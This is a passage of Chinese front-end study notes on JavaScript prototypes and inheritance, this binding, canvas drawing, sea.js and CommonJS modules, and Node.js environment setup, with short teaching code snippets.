href="https://github.github.com/gfm/">https://github.github.com/gfm/</a></li> <li>电子书制作工具 <a href="https://github.com/QingWei-Li/docsify">https://github.com/QingWei-Li/docsify</a><br> <a href="https://github.com/egoist/docute">https://github.com/egoist/docute</a></li> <li>流程图工具:DiagramDesigner <a href="http://logicnet.dk/DiagramDesigner/">http://logicnet.dk/DiagramDesigner/</a></li> </ul> <h4>附录 D Markdown</h4> <ul> <li>更加专注于写作,尤其程序员最喜欢用,表示代码很方便 类似于 HTML 的标记语言</li> <li><a href="http://www.jianshu.com/p/q81RER" target="_blank">简书 - 献给写作者的 Markdown 新手指南</a></li> <li><a href="http://wowubuntu.com/markdown/" target="_blank">Markdown 语法说明</a></li> <li>leanote 写作工具</li> </ul> <h4>6.10目标</h4> <ul> <li>1. 列举 JavaScript 中的普通数据类型和引用数据类型</li> <li>普通数据类型:underfined,boolean,string,null,number 引用数据类型:Object Array Function Date regExp</li> <li>3. 概述基本类型和引用类型的差异并举例</li> <li>基本类型在栈上存储值,引用类型在栈上存储值在堆上的引用的引用。</li> <li>4. 概述什么是深拷贝和浅拷贝并举例</li> <li> 深拷贝是通过循环和递归的手段对一个对象进行拷贝,新的对象与被拷贝的对象之间完全没有关系。浅拷贝只是单纯的通过循环被拷贝的对象的属性给新对象,如果被拷贝对象存在引用类型的属性,那么新对象的 该属性和被拷贝对象的属性指向堆中的同一个内存地址。</li> <li>5. 实现一个深度拷贝方法 <p> function extend(obj,callObj){ callObj=callObj||{}; <br> for(var k in obj){ <br> if(Object.prototype.toString.call(obj[k])=="[object Object]") <br> { callObj[k]= arguments.callee(obj[k],{}); } <br>else { callObj[k]=obj[k]; } } return callObj; }</p> </li> <li>6. $.extend() 方法的使用 <ul> <li>浅拷贝用法 $.extend(obj, obj1, obj2);</li> <li>深拷贝用法 $.extend(true, obj, obj1, obj2);</li> <li>第一个参数要嘛给 true ,要嘛什么都不给 var returnVal = $.extend(false, obj, obj1, obj2);</li> <li>jQuery.extend([deep], target, object1, [objectN])</li> <li>target:一个对象,如果附加的对象被传递给这个方法将那么它将接收新的属性,如果它是唯一的参数将扩展jQuery的命名空间。object1:待合并到第一个对象的对象。objectN:待合并到第一个对象的对象。 </li> </ul> </li> <li>7. 普通数据类型检测和引用数据类型检测</li> <li>普通数据类型:typeof 数组: instanceof 引用数据类型:Object.prototype.toStringApply()</li> <li>8. 为系统内置构造函数添加原型方法</li> <li>String.prototype.endStr=function(str){var reg=new RegExp(str+"$"),bl=false; <br> if(reg.test(this)) {bl=true;}return bl;}</li> <li>9.jqery函数式编程 <ul> <li>function myJquery(target){ return new myJquery.prototype.inir(target);}</li> <li> myJquery.prototype.inir.prototype=myJquery.prototype;</li> <li>myJquery.prototype.inir=function(target){ var targets= document.querySelectorAll(target);for (var i = 0; i < targets.length; i++) { this[i]=targets[i];} this.length=targets.length;}</li> </ul> </li> <li>10. 函数可以生成函数 function genCheckType(type) {return function (obj) { return Object.prototype.toString.apply(obj) === type}}</li> </ul> <h5>字符串方法: search 是强制正则的,而 indexOf 只是按字符串匹配的。match() 方法可在字符串内检索指定的值,或找到一个或多个正则表达式的匹配。</h5> </div> <div> <h2>面向对象封装,jq插件,深复制(6.11)</h2> <h4>今日目标</h4> <ul> <li> 1. 概述构造函数-实例-原型对象 三者之间的关系并举例 <p>对于构造函数来说,原型对象就像是它的属性,原型对象中有一个属性指向构造函数。实例对象是通过构造函数创建的。实例对象中有一个属性—_proto_(该属性是非标准的属性)指向原型对象。</p> </li> <li>2. 概述什么是原型链以及对象属性的搜索原则并举例 <p>在js中,继承的实现体现在原型链中,当前对象的_proto_属性指向该对象的原型,而该对象的原型又有_proto_指向更上一级的原型 对象,直到_proto_属性指向null才结束。对象调用属性的时候,先在自身,如果没有,则沿着原型链一步步向上,如果找到就直接返回, 直到 Object.prototype.__proto__ 发现为 null 的时候,最后返回 undefined。就像dom对象的prototype。</p> </li> <li>3. 概述封装面向对象版标签页实现的演变过程 <p></p> </li> <li>4. 举例说明函数也是对象 <p>使用操作符Object.prototype.toString.call()返回"[object Function]"说明函数是函数对象,并且可以给函数添加属性, 并且通过函数名.属性可以进行调用。</p> </li> <li> <p>5. 理解 jQuery 插件机制</p> </li> <li> <p>6. 模拟实现一个 `$.extend()` 方法</p> </li> </ul> <h4>函数优先级</h4> <ul> <li>function Foo() {getName = function () {alert(1);};return this;}</li> <li>Foo.getName = function () {this.foo = 'bar'; alert(2);};</li> <li>Foo.prototype.getName = function () {alert(3);};</li> <li>var getName = function () {alert(4);}; function getName() {alert(5);}</li> <li>问:new Foo.getName();new Foo().getName();new new Foo().getName();</li> <li>第三个解析:new ((new Foo()).getName)();</li> </ul> </div> <div> <h2>函数继承 (6.13)</h2> <h4>函数概念</h4> <ul> <li>构造函数如果有返回值,则以引用类型为主</li> <li>函数的三种角色:普通函数,构造函数,对象</li> <li>把函数当作对象来使用,就必须只能通过 函数.成员 来访问</li> <li>只要是通过 new 操作符来调用 Person 函数,则该函数在执行的的时候: <ul> <li>1. 先创建一个新的对象 var o = {}</li> <li>2. 将该函数内部的 this 指向 o : this = o</li> <li>3. 接下来开发人员就可以直接使用 this 来初始化 o 对象成员</li> <li>4. 在函数的最后,默认隐式的 return this</li> </ul> </li> <li>什么是构造函数? <ul> <li>从语法上,new 函数名() 就会把该函数当作构造函数来调用; 构造函数用来构建创建具体的对象的</li> <li>为什么需要构造函数或者说构造函数解决什么问题? 解决对象创建的问题; 语法简洁了;其次可以判断实例对象的类型了</li> </ul> </li> </ul> <h5> 函数的 call 方法可以用来调用函数的同时,通过第一个参数改变内部 this 指向,需要传递参数,则可以从第二个参数开始以 , 作为分隔传递给函数</h5> <h4> 为什么通过匿名函数自执行把 window 传递进去</h4> <ul> <li>从程序执行效率来讲:目的是为了减少内部的作用域查找范围</li> <li>从代码依赖角度来讲:把相关的依赖项单独传递给匿名函数内部</li> <li>这样做的目的是为了让模块的依赖更明确</li> </ul> <h4>数组some方法</h4> <ul> <li> some 也是遍历数组,只不过它会针对函数的返回值得到不同的结果</li> <li>如果在遍历的过程中某个函数返回了 true ,则 some 方法返回 true</li> <li>如果一直遍历到结束,都没有函数返回 true,则 some 方法返回 false</li> <li> var result = arr.Some(function (num, index) {return num % 2 === 0})</li> </ul> <h5>为什么需要对象?如果没有对象,可能就会有一大堆的全局变量;对象也叫命名空间;将一些相关数据放到一起,方便整理和维护;进行数据传递时,传递对象更加的方便</h5> <h5>jq:$(function(){}),方法的实现</h5> <h4>自己模拟实现 `map` `every` `filter`</h4> <ul> <li>Array.prototype.map()方法创建一个新数组,其结果是该数组中的每个元素都调用一个提供的函数后返回的结果。</li> <li>every() 方法测试数组的所有元素是否都通过了指定函数的测试(与some的区别是some只要有一个成立,立马返回true)</li> <li>filter() 方法创建一个新数组, 其包含通过所提供函数实现的测试的所有元素。</li> </ul> <h3>继承二法</h3> <ul> <li>第一种:组合遍历法 可以通过call继承父类的属性,通过循环遍历父类的prototype继承父类的方法(根据需求进行深赋值或浅复制)</li> <li>第二种:组合寄生继承 可以通过call继承父类的属性,通过寄生的方式继承父类原型的方法 <ul> <li>如果直接让子类的原型对象成为父类的实例,缺点是会继承父类的属性,所以采用一个中转构造函数,采用寄生的方式间接使子类的原型对象成为父类的实例</li> <li>如果直接让子类的原型对象指向父类的原型对象,修改子类constructor会把父类的也修改</li> <li> function object(obj) {function F(){};F.prototype=obj;return new F();}</li> <li>function inHeritPrototype(target,selector) {var prototype=object(selector);prototype.constructor=target;target.prototype=prototype;}</li> <li><img width="400" src="img/组合寄生继承.png" alt=""></li> </ul> </li> <li>相同处:两者都可以继承父类的属性和方法,都是通过Call来继承父类的属性</li> <li>不同点:第一种方法思路更加简单,第二种方法好处在于子类构造函数原型对象_proto_指向了父类的原型对象。</li> </ul> </div> <div> <h2>call,apply,bind,贪吃蛇(6.14)</h2> <h4>this指向的不同场景</h4> <ul> <li>普通函数调用: <ul> <li>在非严格模式下,普通函数中的 this 指向 window</li> <li>在严格模式下,普通函数中的 this 是 undefined</li> </ul> </li> <li> 构造函数调用 <ul> <li>指向实例对象</li> <li>原型方法中的 this 与构造函数调用中的 this 指向相同</li> </ul> </li> <li>对象方法调用:指向调用对象,就是方法紧挨着的对象</li> <li>事件绑定方法:指向绑定事件的对象</li> <li> 定时器函数:指向 window</li> </ul> <h4>call,apply,bind的this指向方法的第一个参数(该参数必须是引用类型)</h4> <ul> <li>call 和 apply 特性一样 <ul> <li>都是用来调用函数,而且是立即调用</li> <li>但是可以在调用函数的同时,通过第一个参数指定函数内部 `this` 的指向</li> <li>call 调用的时候,参数必须以参数列表的形式进行传递,也就是以逗号分隔的方式依次传递即可</li> <li>apply 调用的时候,参数必须是一个数组,然后在执行的时候,会将数组内部的元素一个一个拿出来,与形参一一对应进行传递</li> <li>如果第一个参数指定了 `null` 或者 `undefined` 则内部 this 指向 window</li> </ul> </li> <li> bind <ul> <li> 可以用来指定内部 this 的指向,然后生成一个改变了 this 指向的新的函数</li> <li> 它和 call、apply 最大的区别是:bind 不会调用</li> <li>bind 支持传递参数,它的传参方式比较特殊,一共有两个位置可以传递 <ul> <li>1. 在 bind 的同时,以参数列表的形式进行传递</li> <li> 2. 在调用的时候,以参数列表的形式进行传递</li> <li> 两者合并:bind 的时候传递的参数和调用的时候传递的参数会合并到一起,传递到函数内部</li> <li>函数的 bind 方法传递参数规则: 在 bind 的同时可以预制(预先传递)一些参数,不调用;然后在调用的时候,传递的参数,将会放到预制参数之后进行传递</li> </ul> </li> </ul> </li> <li>针对bind绑定:绑定了 this 环境的 函数,如果使用 new 来调用,则 this 还是指向实例对象</li> </ul> <h5>面试题:模拟函数内部arguments[0]()调用参数方法 var arr=[function(){console.log(this.length)},2,3];arr[0]()</h5> <h5>Underscore.js:类似于jq库,jq操作dom,而它和dom无关,只要作用是对数组,对象一类操作的简化</h5> </div> <div><h2>贪吃蛇完成(6.16)</h2> <h4>原型模式和 借用父类构造函数+拷贝父类原型对象 的区别</h4> <ul> <li>原型模式继承核心就是利用原型链搜索机制实现继承,每一次访问继承过来的成员的时候都必须通过原型链进行查找,如果原型链太多,会导致效率不高。</li> <li>第一次继承的时候的效率高,而后续查找成员的时候效率低。</li> <li> 而 借用父类构造函数+拷贝父类原型对象 的方式,是直接将父类的所有成员拷贝到自己身上,每次使用的时候,直接就在自己身上拿到了,相对于原型模式效率更高</li> <li> 第一次继承的时候效率低,而后续查找成员的时候效率比原型模式高。</li> </ul> </div> <div> <h2>sea.js模块化(6.17)</h2> <h4>模块化解决的问题</h4> <ul> <li>通过 script 标签加载 JavaScript 文件还是麻烦</li> <li> 关键在于 JavaScript 脚本文件之间的相互依赖</li> <li>文件越来越多,无法保证变量命名冲突的问题</li> </ul> <a href="https://seajs.github.io/seajs/docs/">SeaJS在线地址</a> <a href="https://github.com/seajs/seajs/archive/master.zip">下载地址</a> <h4>sea.js用法即注意事项</h4> <ul> <li>引入 sea.js</li> <li> 使用 seajs.use() 方法,指定模块启动入口,然后启动模块运行 <ul> <li> 提示:入口文件模块最好起名 main.js</li> <li>注意:文件路径一定要以 ./ 或者 ../ 开头;如果不以 ./ 或者 ../ 则会跑到 sea.js 文件路径去查找</li> </ul> </li> <li> 在 seajs 中,一个 JavaScript 文件就是一个模块 <ul> <li> 所有代码写到 define 函数中;所有代码都运行在模块私有作用域</li> <li> define 函数需要接收一个匿名函数作为参数; 该函数参数同时需要接收三个参数:require exports module</li> <li>注意:参数顺序不能变,包括参数的名字不能改</li> </ul> </li> <li> 使用 require 函数根据指定文件模块路径加载模块,返回加载模块的返回值(函数,对象) <ul> <li>模块的后缀名可以省略</li> <li>加载并执行被加载模块的代码</li> <li>返回当前文件模块的值 module.exports= 返回对象(函数,值),赋值给它可以使其它js模块引用当前模块获取返回值</li> </ul> </li> <li>define(function (require, exports, module) { var $ = require('../vendor/jquery-3.2.1')//引入 module.exports = 返回对象;//导出 })</li> <li>jq和underscore不支持sea.js(cmd),而支持require.js(amd);要找到对应的define手动加上</li> <li>exports本质上就是module.exports,指向同一个地址。但后者更好用,因为前者不能修改其地址的引用,而后者可以</li> </ul> <h4>模块进化论</h4> <ul> <li>全局函数:容易导致命名空间污染,多个函数之间没有直接关系</li> <li>命名空间:将多个函数放到 cal 对象命名空间中,让他们产生了一定的联系;对象命名空间中全部都暴露出来了,能不能有一种方式,让对象具有私有空间</li> <li>私有空间-将对象封装到函数中的作用: <ul> <li> 具有了私有空间,公有可以直接挂载到 cal 上即可,私有的直接定义到内部函数作用域即可</li> <li>如果希望外部可以访问内部的私有成员而不允许修改,则可以直接为对象提供一个方法,在方法内部返回当前作用域内部的某个私有成员</li> </ul> </li> <li>模块的依赖问题-关于模块的传参: <ul> <li>1. 从代码执行效率上来讲,能提高内部作用域查找效率;</li> <li> 2. 从模块维护的意义上来讲,让模块的依赖看起来更明确</li> </ul> </li> </ul> </div> <div> <h2>事件,闭包,作用域,伪数组(6.19)</h2> <h4>伪数组</h4> <ul> <li> 所有的内置构造函数都继承自 Object.prototype; 也就是说所有数组都具有 Object.prototype 的成员; 注意:这里主要是为了说明:所有普通对象没有 Array.prototype 的方法</li> <li>伪数组是一个类似于数组结构的对象</li> <li> Array.prptotype.slice.call(伪数组, 参数...)</li> <li>简写形式:[].数组方法.call(伪数组, 参数);[].数组方法.bind(伪数组, [参数..])</li> <li>数组和对象的区别 <ul> <li>一个按键值来访问读取数据;一个按索引来访问读取数据</li> <li>对象没有 length 属性;数组具有 length 属性,而且会随着成员长度的变化而变化</li> <li>什么是伪数组:var obj={0:'a',1:'b',length;2} 结构类似于数组的对象,就是伪数组,但是不能使用数组的方法 </li> <li>伪数组借用数组方法原理:Array.prototype.myEach = function (callback) { for(var i = 0; i < this.length; i++) { callback(this[i], i)}}</li> </ul> </li> </ul> <h4>函数的其它成员</h4> <ul> <li> arguments 实参列表,是一个伪数组</li> <li> arguments 除了是一个伪数组之外,还有一个特殊的属性:callee;callee 指向当前函数本身</li> <li> caller 可以得到该函数的调用者(就是当函数在其它函数中时调用,包裹的函数就是调用者)</li> <li>length 形参的个数</li> <li>name 函数的名称</li> </ul> <h4>预解析</h4> <ul> <li>全局预解析(所有变量和函数声明都会提前;同名的函数和变量函数的优先级高</li> <li>函数内部预解析(所有的变量、函数和形参都会参与预解析)</li> <li>函数只有在调用执行的时候才会预解析</li> </ul> <h5>闭包的应用练习,js执行机制讲解:任务队列栈(先进先出)</h5> <h4>阻止冒泡和默认行为</h4> <ul> <li> 使用 return false 阻止事件默认行为,只针对 DOM 0 级事件绑定有效,对 DOM 2 级事件绑定无效</li> <li> 阻止事件冒泡,无论是 0 级 和是 2 级事件绑定都必须使用 e.stopPropagation() 方法</li> <li> 关于阻止事件冒泡,必须使用 e.stopPropagation() 方法</li> </ul> <h5>自定义事件简单例子;正则音乐播放器例子;递归菜单树例子</h5> </div> <div> <h2>canvas(6.21)</h2> <h4>canvas基本概念</h4> <ul> <li>canvas画布的默认匡高300X150,canvas的宽度和高度不允许使用样式设置,要通过标签属性设置</li> <li>canvas坐标系:原点在左上角,x轴水平向右,y轴垂直向下</li> <li>获取画布: var cas = document.querySelector('canvas'); 获取画图工具: var ctx = cas.getContext('2d');// webgl</li> <li>canvas属性 <ul> <li>绘制起点:ctx.moveTo(100,100);</li> <li>绘制路径: ctx.lineTo(200,100);线条宽度:ctx.lineWidth = 10; 线宽,默认1px</li> <li>描边 ctx.stroke(); 描边颜色: ctx.strokeStyle = 'red';</li> <li>填充路径: ctx.fill();填充颜色: ctx.fillStyle = 'green';</li> <li>关于路径的闭合:1、closePath自动闭合路径(推荐) 2、手动闭合有可能会缺角,解决办法就是多绘制一个点</li> <li>线末端类型(butt默认): ctx.lineCap = 'square'(比起默认来等于在线条两头各加了一个方块); ctx.lineCap = 'round'(比起默认来等于在线条两头各加了一个半圆);</li> <li>相交线的拐点(miter默认):ctx.lineJoin = 'bevel';(横切,默认直角被切平)ctx.lineJoin = 'round';(直角变圆角)</li> <li>开启新的路径(保证不同的路径样式不同):ctx.beginPath();</li> <li> 虚线绘制 <ul> <li>设置虚线: ctx.setLineDash([5,10,15,20]);可以设置任意多个,按照设置的长度一个虚线一个空白循环显示</li> <li>获取虚线宽度集合:ctx.getLineDash() 奇数获取两组一样的,偶数获取一组。</li> <li>设置虚线偏移量(负值向右偏移) ctx.lineDashOffset = -3;</li> </ul></li> <li>状态的保存与恢复 <ul> <li>save() 作用就是保存当前环境(上下文),本质上就是保存当前的一些样式设置</li> <li>restore() 恢复最近一次保存的环境</li> <li>可以保持多个当前环境采用的是栈stack(后进先出)的模式</li> </ul> </li> </ul> </li> <li>非零环绕规则 <ul> <li>路径围住的所有区域,从任何一个区域内部向外拉出一条直线</li> <li>如果该直线穿过的线条数量为奇数条,那么一定会填充</li> <li>如果该直线穿过的线条数量为偶数条,并且方向相反的线条条数相同的话就不填充</li> <li></li> </ul> </li> <li>canvas绘制一个像素实际上用的连个像素来表示,对于斜线来说,也是用两个像素表示,但是重合了一个像素,所以看上去比较浅</li> <li>canvas画布可以理解为两个尺寸:标签尺寸、画布尺寸 <ul> <li> 通过标签内部的属性设置宽高,那么这两种尺寸都会被设置</li> <li> 如果通过样式设置宽高,那么只会设置元素尺寸,浏览器会自动拉伸画布去适应标签尺寸</li> <li>画布尺寸:ctx.canvas.width</li> </ul> </li> </ul> <h5>绘制折线图,颜色渐变等练习</h5> </div> <div> <h2>饼状图(6.22)</h2> <h4>矩形</h4> <ul> <li>画一个矩形的路径(没有独立路径):ctx.rect(x,y,width,height);ctx.stroke();</li> <li>画一个描边矩形(有独立路径,不影响别的绘制):ctx.strokeRect(x,y,width,height);</li> <li>画一个填充矩形(有独立路径,不影响别的绘制):ctx.fillRect(x,y,width,height);</li> <li>清除画布一块区域:ctx.clearRect(0,0,ctx.canvas.width,ctx.canvas.height);</li> </ul> <h5>线性渐变</h5> <ul> <li>var gradient = ctx.createLinearGradient(0,0,0,100); gradient.addColorStop(0,'red'); gradient.addColorStop(1,'pink'); ctx.fillStyle = gradient;</li> <li>径向渐变 ctx.createRadialGradient()</li> </ul> <h4>圆弧绘制(radian 弧度;angle 角度)</h4> <ul> <li>角度:一个圆周均分360份,一份就是1度;弧度:如果圆弧的长度等于半径的长度,那么此时该圆弧所对应的角度就是1弧度</li> <li>一度等于多少弧度:var per = 2*Math.PI/360;</li> <li> ctx.arc(x,y,r,开始弧度,结束弧度,true(默认false表示顺时针;true表示逆时针));</li> <li>圆弧绘制:artTo方法需要三个点:需要一个起点,参数中需要两个点,这三个点形成两条切线,然后结合半径就能决定圆弧的位置</li> <li>ctx.moveTo(150, 20);ctx.arcTo(150,100,50,20,50);ctx.stroke();</li> </ul> <h4>绘制文本</h4> <ul> <li>ctx.font = '12px 微软雅黑' 设置字体</li> <li>描边字体 strokeText()</li> <li>填充字体 fillText(text,x,y,maxWidth) <ul> <li>text 要绘制的文本</li> <li>x,y 文本绘制的坐标(文本左下角)</li> <li>maxWidth 设置文本最大宽度,可选参数</li> </ul> </li> <li>ctx.textAlign文本水平对齐方式,相对绘制坐标来说的; <ul> <li>left;center;right;start 默认;end;</li> <li>direction属性css(rtl ltr) start和end于此相关;如果是ltr,start和left表现一致;如果是rtl,start和right表现一致</li> </ul> </li> <li>ctx.textBaseline 设置基线(垂直对齐方式 ) <ul> <li>top 文本的基线处于文本的正上方,并且有一段距离</li> <li>middle 文本的基线处于文本的正中间</li> <li>bottom 文本的基线处于文本的证下发,并且有一段距离</li> <li>hanging 文本的基线处于文本的正上方,并且和文本粘合</li> <li>alphabetic 默认值,基线处于文本的下方,并且穿过文字</li> <li>ideographic 和bottom相似,但是不一样</li> </ul> </li> <li>measureText() 获取文本宽度obj.width</li> </ul> <h4> 实例</h4> <ul> <li>绘制渐变彩虹</li> <li>绘制饼图</li> </ul> </div> <div> <h2>canvas基础动画(6.23)</h2> <h4>drawImage</h4> <ul> <li>三个参数drawImage(img,x,y) <ul> <li>img 图片对象、canvas对象、video对象</li> <li> x,y 图片绘制的左上角</li> </ul> </li> <li> 五个参数drawImage(img,x,y,w,h) <ul> <li> img 图片对象、canvas对象、video对象</li> <li> x,y 图片绘制的左上角</li> <li>w,h 图片绘制尺寸设置(图片缩放,不是截取)</li> </ul> </li> <li> 九个参数drawImage(img,x,y,w,h,x1,y1,w1,h1) <ul> <li>img 图片对象、canvas对象、video对象</li> <li></li> <li>x,y,w,h 图片中的一个矩形区域; x1,y1,w1,h1 画布中的一个矩形区域</li> </ul> </li> </ul> <h5>绘制多张图片时load加载问题:可以设置一个标识,每次加载完成一张图片,标识加一,当标识数量等于图片数量时,执行回掉函数</h5> <h5>创建的javascript标签在添加到页面才会加载,创建的img标签给它路径后就会加载</h5> <h4>定时函数</h4> <ul> <li>根据浏览器自适应进行帧绘制,有兼容性问题(部分浏览器默认大约1秒60下)function action(){requestAnimationFrame(action);}</li> <li> 事件队列中的任务何时执行?1、满足特定的条件2、主线程必须是空闲的</li> <li>js的运行时单线程的,浏览器是多线程的</li> <li> 函数的嵌套形成闭包;闭包包括内层函数和内存函数所处的环境(外层函数的作用域)</li> <li> 闭包可以延长变量的生命周期; 闭包可以缓存一些中间状态值</li> </ul> <h4>坐标变换(改变的是坐标的原点)</h4> <ul> <li>坐标系原点移动: ctx.translate(x,y);</li> <li>坐标系放大缩小 ctx.scale(x,y);参数表示宽高的缩放比例</li> <li>坐标系旋转 ctx.rotate(-Math.PI/4);参数表示旋转弧度</li> <li>在坐标系改变后,要清除画布的内容,可以用状态保存(save),和状态恢复(restore),就是坐标系修改前保存,修改后复原状态</li> </ul> <h4>实例</h4> <ul> <li>绘制精灵图逐帧动画</li> <li>通过键盘控制精灵图移动</li> </ul> </div> <div> <h2>像素鸟(6.25)</h2> <h5>判断一个坐标是否处于路径上:ctx.isPointInStroke(x,y)</h5> <ul> <li>对象的本质就是:无序的键值对集合</li> <li>所有的函数都是Function的实例对象</li> <li>所有的实例对象中都有一个__proto__属性,但是__proto__属性在实际开发中不可以使用,该属性是浏览器内部使用的,并且该属性并不是标准属性,该属性本质上就是创建该实例的构造函数的原型对象(prototype本质上就是一个对象---可以理解为Object的实例对象 {} new Object())</li> </ul> </div> </body> </html><file_sep>### 第一天 - 1.请写出jquery绑定事件的方法,至少两种 + bind('事件类型',function(){}); + delegate('','',function(){}),注册委托事件 + on('事件类型,'委托对象',function(){});jquery对绑定方法进行了整合成为on。 - 2.判断js对象为空的方法,判断数组为空的方法? + 使用JSON.parse进行转换。 + Object.keys(obj).length,Object.keys()ie9下不兼容,可以使用for-in加hasOwnProperty和数组可以通过.length属性进行判断。 - 3.li和li之间有看不见的空白间隔时什么原因引起的,怎么解决? + 是因为有默认的margin值,可以把外边距设置为0。 + 距离可能是换行后的空白节点,可以设置li{ float: left; list-style: none;}解决。 - 4.什么是前端路由,什么时候用前端路由?优点和缺点 + 什么是前端路由? - 路由是根据不同的 url 地址展示不同的内容或页面 - 前端路由就是把不同路由对应不同的内容或页面的任务交给前端来做,之前是通过服务端根据 url 的不同返回不同的页面实现的 + 什么时候使用前端路由? - 在单页面应用,大部分页面结构不变,只改变部分内容的使用 + 前端路由有什么优点和缺点? - 优点 - 用户体验好,不需要每次都从服务器全部获取,快速展现给用户 - 缺点 - 使用浏览器的前进,后退键的时候会重新发送请求,没有合理地利用缓存 - 单页面无法记住之前滚动的位置,无法在前进,后退的时候记住滚动的位置 - 5.理想视口有哪几个属性? + name='viewport':告诉浏览器要对当前页面做哪些设置 + content:要对视口的哪些内容进行设置。 + initial-scale:页面初始化的时候放大的倍数。 + user-scale:页面允许用户缩放页面 yes or no + maxmum-scale:如果允许的话:可以放大的倍数。 + minimum-scale:如果允许放大的话,最小的倍数。 - 6.如何异步加载脚本 + 动态创建脚本进行加载。 + 使用iframe窗体加载脚本。 + 给标签使用defer和async属性。 <file_sep><title>node笔记</title> ## 环境配置 基本概念 node基本语法及ES6(7.24) #### 环境配置 1. 下载:[nvm-windows](https://github.com/coreybutler/nvm-windows/releases/download/1.1.6/nvm-noinstall.zip) 2. 解压到一个全英文路径 3. 在全英文路径下新建 `settings.txt` 文件,把下面配置考入 ``` root: <nvm.exe 所在的目录,例如:C:\Develop\nvm> arch: 64 proxy: none originalpath: . originalversion: node_mirror: https://npm.taobao.org/mirrors/node/ npm_mirror: https://npm.taobao.org/mirrors/npm/ ``` 4. 配置环境变量 可以通过 `window+r` 运行 `sysdm.cpl` + 环境变量:就是操作系统中定义变量的地方。通过配置允许程序在电脑上可以快捷访问的范围。 + `NVM_HOME = <当前 nvm.exe 所在目录>` + `NVM_SYMLINK = <node 快捷方式所在的目录>` + `PATH += %NVM_HOME%;%NVM_SYMLINK%;` + 打开CMD通过 `set [name]` 命令查看环境变量的值或set Path查看全部环境变量 + PowerShell中是通过 `dir env:[name]` 命令 5. NVM使用说明(Node Version Manager(Node 版本管理工具)): + https://github.com/coreybutler/nvm-windows 6. NVM基本操作 + nvm use <version>切换node版本 + nvm install <version>插入node版本 + nvm version 输出所有版本 + node -v 输出当前版本 + nvm list available 输出镜像库里所有的版本 #### 知识点 - <>:必填参数 - []:选填参数 - 函数提升是历史原因,以前的浏览器内存小,提升到顶部一次开辟空间。要是不够内存直接就会出问题,而不用运行到一定位置后在报错。 - shift ?可以显式git站点中所有快捷键 - angular1中使用的是定时器轮询实现数据双向绑定。vue和angular2使用Object.defineProperty()方法实现数据的双向绑定。 > https://developer.mozilla.org/zh-CN/docs/Web - DEBUG vscode中自带的js运行环境 - 配置md文件转html文件步骤 + 先找一个解析md的模块 > https://github.com/chjj/marked + 再加上githab.css #### node基本语法 1. node知识点 - 全局根对象 global - Node.js 是一个 JavaScript 的运行平台,不是一门语言,更不是 JavaScript 的框架。 - 在node环境中运行js文件,它会把js文件当成一个模块,伪全局变量指的是node在运行当前js文件时给这个文件传入的对象,并不是真的全局对象。 - REPL 是一个类似于 Console 的东西,用于测试小量代码 > - 官方文档:https://nodejs.org/dist/latest-v8.x/docs/api/ > - 国内文档镜像:https://npm.taobao.org/mirrors/node/latest/docs/api/index.html > - 全局对象(顶层对象) https://npm.taobao.org/mirrors/node/latest/docs/api/globals.html - REPL环境-Mancy,类比于console.log,输出输入,进入下一次 - process进程对象,类比于浏览器中this。 - 第三方模块 loadsh 封装一些数组对象操作函数 2. node在cmd中操作 - .exit 退出node #### 辅助成员 - `console` - `setInterval` - `setTimeout` #### 进程相关 - `process` + `process.stdin` 获取用户输入,回车结束 + `process.stdout` - 一个指向标准输出流(stdout)的 可写的流(Writable Stream): - process.stdout.write('这是一行数据\n这是第二行数据'); + `process.argv` 获取执行模块用户传入参数 + `process.env` - process.env.NODE_ENV === 'production' - 判断是否是生产环境 + `process.cwd()` 当前目录 + `process.title` 修改命令框title + `process.versions` - 一个暴露存储 node 以及其依赖包 版本信息的属性 + `uncaughtException event` 全局异常捕获 #### 路径相关(伪全局) - `__dirname` 当前路径 - `__filename` 当前文件路径(多一个文件名称) #### 模块相关(伪全局) - `module` - `exports` - `require()` 引入模块 #### ES6 - let定义的是一个可变的量 - const 定义一个常量 - 模板字符串 `${}` - 箭头函数没有this的说法,箭头函数不会改变this的指向 ## Common JS 模块 文件操作练习(7.26) - Node REPL 环境 - https://github.com/princejwesley/Mancy - inspect 调试 下一步n ### 模块化开发 - Node 采用的模块化结构是按照 Common JS 规范 - 模块与文件是一一对应关系,即加载一个模块,实际上就是加载对应的一个模块文件。 - 关于 Common JS 规范(了解) > http://wiki.commonjs.org/wiki/CommonJS - Common JS 模块特点 + 所有代码都运行在模块作用域(本质上是自执行函数),不会污染全局作用域。 + 模块可以多次加载,但是只会在第一次加载时运行一次,然后运行结果就被缓存了,以后再加载,就直接读取缓存结果。如果想让模块再次运行,必须清除缓存。 + delete require.cache['C:\\Users\\zce\\Desktop\\day-02\\code\\lib\\calc.js'] + 模块加载的顺序,按照其在代码中出现的顺序。 + 定义一个模块 - 一个新的 JS 文件就是一个模块,包括入口文件; - 一个合格的模块应该是有导出成员的,否则模块就失去了定义的价值; - 模块内部是一个独立(封闭)的作用域(模块与模块之间不会冲突); - 模块之间必须通过导出或导入的方式协同; - 如果我们需要载入一个自己写的 JS 文件,路径必须采用点开头的路径 - 模块内部定义的成员只能在模块内部使用,除非挂载到全局对象上(global) #### 导出方式: - 导出单个成员: exports.name = value; - 导出整体对象: module.exports = { name: value }; + module.exports 和 exports - exports 是指向 module.exports 的别名,相当于在模块开始的时候执行 + var exports = module.exports; - 最终模块的导出成员以 module.exports 为准 #### 载入模块 - Node 使用 Common JS 模块规范,内置的 require 函数用于加载模块文件。 + require 的基本功能是,读入并执行一个 JavaScript 文件,然后返回该模块的 exports 对象 + 如果没有发现指定模块文件就会报错。 - require 参数(模块路径) + `.`:相对路径方式加载模块文件 - const module1=require('./calculator') + start with .:./ ../ - 都是按照相对路径方式找到文件 - 相对路径得考虑基准路径 + `/`:绝对路径方式加载文件 - 没有可移植性,基本不会用 - const module2=require('C:/czbkqd/就业班/笔记/node/lib/require.js') + other:加载预定义模块 - const fs=require('fs'); + 可省略的情况: - 扩展名是 `.js`、`.json` - require 可以用来载入 JSON 文件,返回对象 + 文件名是 `index`index和扩展名可以默认不写 - 如果有和目录同名得文件,则找这个文件 - require.main 可以用来获取入口模块 #### require实现原理 ```js function $require(x){ //1.根据文件路径找到js文件 const fs=require('fs'); const path=x //2.读取文件内容 const content=fs.readFileSync(path,'utf8') //3.执行代码 const $module={ $exports:{} } const $exports=$module.$exports const code=`(function($exports,$module,$require){ ${content} }($exports,$module,$require)) ` eval(code); //4.想办法拿到module.exports //4.return return $module.$exports; } ``` #### 常用内置模块 - [path](http://nodejs.org/api/path.html):处理文件路径。 - [fs](http://nodejs.org/api/fs.html):操作文件系统。 - 